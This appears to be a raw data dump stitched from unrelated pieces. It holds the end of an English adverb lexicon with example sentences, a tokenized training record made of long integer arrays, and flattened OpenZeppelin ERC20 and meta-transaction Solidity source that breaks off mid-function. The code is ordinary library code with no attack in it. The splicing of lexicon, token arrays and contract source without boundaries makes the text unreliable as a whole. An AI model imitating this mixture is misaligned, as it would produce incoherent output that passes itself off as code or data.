eng_adverb:chaotically{}, // The room was chaotically disorganized.
eng_adverb:crushingly{}, // The team was crushingly defeated.
eng_adverb:dishonorably{}, // He was dishonorably discharged.
eng_adverb:honorably{}, // He was honorably discharged after many years of service.
eng_adverb:elegantly{}, // The room was elegantly decorated.
eng_adverb:ecclesiastically{}, // The candidate was ecclesiastically endorsed.
eng_adverb:stockily{}, // He was stockily built.
eng_adverb:trimly{}, // He was trimly attired.
eng_adverb:shockingly{}, // Teachers were shockingly underpaid.
eng_adverb:seasonally{}, // Prices are seasonally adjusted.
eng_adverb:romantically{}, // They were romantically linked.
eng_adverb:robustly{}, // He was robustly built.
eng_adverb:pungently{}, // The soup was pungently flavored.
eng_adverb:spaciously{}, // The furniture was spaciously spread out.
eng_adverb:spicily{}, // The soup was spicily flavored.
eng_adverb:sumptuously{}, // This government building is sumptuously appointed.
eng_adverb:amply{}, // These voices were amply represented.
eng_adverb:slenderly{}, // The area is slenderly endowed with natural resources.
eng_adverb:meagerly{}, // These voices are meagerly represented at the conference.
eng_adverb:maniacally{}, // He was maniacally obsessed with jealousy.
eng_adverb:lukewarmly{}, // He was lukewarmly received by his relatives.
eng_adverb:sketchily{}, // The dishes were only sketchily washed.
eng_adverb:quaintly{}, // The room was quaintly furnished.
eng_adverb:meretriciously{}, // The boat is meretriciously decorated.
eng_adverb:substantially{}, // The house was substantially built.
eng_adverb:incomparably{}, // She is incomparably gifted.
eng_adverb:inadequately{}, // The temporary camps were inadequately equipped.
eng_adverb:adequately{}, // He was adequately prepared.
eng_adverb:unhygienically{}, // The meat is unhygienically processed on wooden tables.
eng_adverb:hermetically{}, // This bag is hermetically sealed.
eng_adverb:heinously{}, // The child was heinously murdered.
eng_adverb:gruesomely{}, // He was gruesomely wounded.
eng_adverb:glossily{}, // The magazine was glossily printed.
eng_adverb:garishly{}, // The temple was garishly decorated with bright plastic flowers.
eng_adverb:fraudulently{}, // This money was fraudulently obtained.
eng_adverb:foully{}, // Two policemen were foully murdered.
eng_adverb:flimsily{}, // This car is so flimsily constructed!
eng_adverb:faultily{}, // These statements were faultily attributed to me.
eng_adverb:fancifully{}, // The Christmas tree was fancifully decorated.
eng_adverb:necessarily{}, // Such expenses are necessarily incurred.
eng_adverb:totally{} // The car was totally destroyed in the crash
}
| Two policemen were foully murdered.
| eng_adverb:foully{}, | 12,917,391 | [
1,
11710,
2952,
1812,
27617,
4591,
18261,
420,
93,
312,
295,
765,
329,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
24691,
67,
361,
16629,
30,
617,
420,
93,
2916,
16,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: @openzeppelin/contracts/GSN/Context.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/root/RootToken/IMintableERC20.sol
pragma solidity 0.6.6;
interface IMintableERC20 is IERC20 {
/**
* @notice called by predicate contract to mint tokens while withdrawing
* @dev Should be callable only by MintableERC20Predicate
* Make sure minting is done only by this function
* @param user user address for whom token is being minted
* @param amount amount of token being minted
*/
function mint(address user, uint256 amount) external;
}
// File: contracts/common/Initializable.sol
pragma solidity 0.6.6;
contract Initializable {
bool inited = false;
modifier initializer() {
require(!inited, "already inited");
_;
inited = true;
}
}
// File: contracts/common/EIP712Base.sol
pragma solidity 0.6.6;
contract EIP712Base is Initializable {
struct EIP712Domain {
string name;
string version;
address verifyingContract;
bytes32 salt;
}
string constant public ERC712_VERSION = "1";
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256(
bytes(
"EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)"
)
);
bytes32 internal domainSeperator;
// supposed to be called once while initializing.
// one of the contractsa that inherits this contract follows proxy pattern
// so it is not possible to do this in a constructor
function _initializeEIP712(
string memory name
)
internal
initializer
{
_setDomainSeperator(name);
}
function _setDomainSeperator(string memory name) internal {
domainSeperator = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes(name)),
keccak256(bytes(ERC712_VERSION)),
address(this),
bytes32(getChainId())
)
);
}
function getDomainSeperator() public view returns (bytes32) {
return domainSeperator;
}
function getChainId() public pure returns (uint256) {
uint256 id;
assembly {
id := chainid()
}
return id;
}
/**
* Accept message hash and returns hash message in EIP712 compatible form
* So that it can be used to recover signer from signature signed using EIP712 formatted data
* https://eips.ethereum.org/EIPS/eip-712
* "\\x19" makes the encoding deterministic
* "\\x01" is the version byte to make it compatible to EIP-191
*/
function toTypedMessageHash(bytes32 messageHash)
internal
view
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash)
);
}
}
// File: contracts/common/NativeMetaTransaction.sol
pragma solidity 0.6.6;
contract NativeMetaTransaction is EIP712Base {
using SafeMath for uint256;
bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256(
bytes(
"MetaTransaction(uint256 nonce,address from,bytes functionSignature)"
)
);
event MetaTransactionExecuted(
address userAddress,
address payable relayerAddress,
bytes functionSignature
);
mapping(address => uint256) nonces;
/*
* Meta transaction structure.
* No point of including value field here as if user is doing value transfer then he has the funds to pay for gas
* He should call the desired function directly in that case.
*/
struct MetaTransaction {
uint256 nonce;
address from;
bytes functionSignature;
}
function executeMetaTransaction(
address userAddress,
bytes memory functionSignature,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) public payable returns (bytes memory) {
MetaTransaction memory metaTx = MetaTransaction({
nonce: nonces[userAddress],
from: userAddress,
functionSignature: functionSignature
});
require(
verify(userAddress, metaTx, sigR, sigS, sigV),
"Signer and signature do not match"
);
// increase nonce for user (to avoid re-use)
nonces[userAddress] = nonces[userAddress].add(1);
emit MetaTransactionExecuted(
userAddress,
msg.sender,
functionSignature
);
// Append userAddress and relayer address at the end to extract it from calling context
(bool success, bytes memory returnData) = address(this).call(
abi.encodePacked(functionSignature, userAddress)
);
require(success, "Function call not successful");
return returnData;
}
function hashMetaTransaction(MetaTransaction memory metaTx)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
META_TRANSACTION_TYPEHASH,
metaTx.nonce,
metaTx.from,
keccak256(metaTx.functionSignature)
)
);
}
function getNonce(address user) public view returns (uint256 nonce) {
nonce = nonces[user];
}
function verify(
address signer,
MetaTransaction memory metaTx,
bytes32 sigR,
bytes32 sigS,
uint8 sigV
) internal view returns (bool) {
require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER");
return
signer ==
ecrecover(
toTypedMessageHash(hashMetaTransaction(metaTx)),
sigV,
sigR,
sigS
);
}
}
// File: contracts/common/ContextMixin.sol
pragma solidity 0.6.6;
abstract contract ContextMixin {
function msgSender()
internal
view
returns (address payable sender)
{
if (msg.sender == address(this)) {
bytes memory array = msg.data;
uint256 index = msg.data.length;
assembly {
// Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those.
sender := and(
mload(add(array, index)),
0xffffffffffffffffffffffffffffffffffffffff
)
}
} else {
sender = msg.sender;
}
return sender;
}
}
// File: @openzeppelin/contracts/utils/EnumerableSet.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
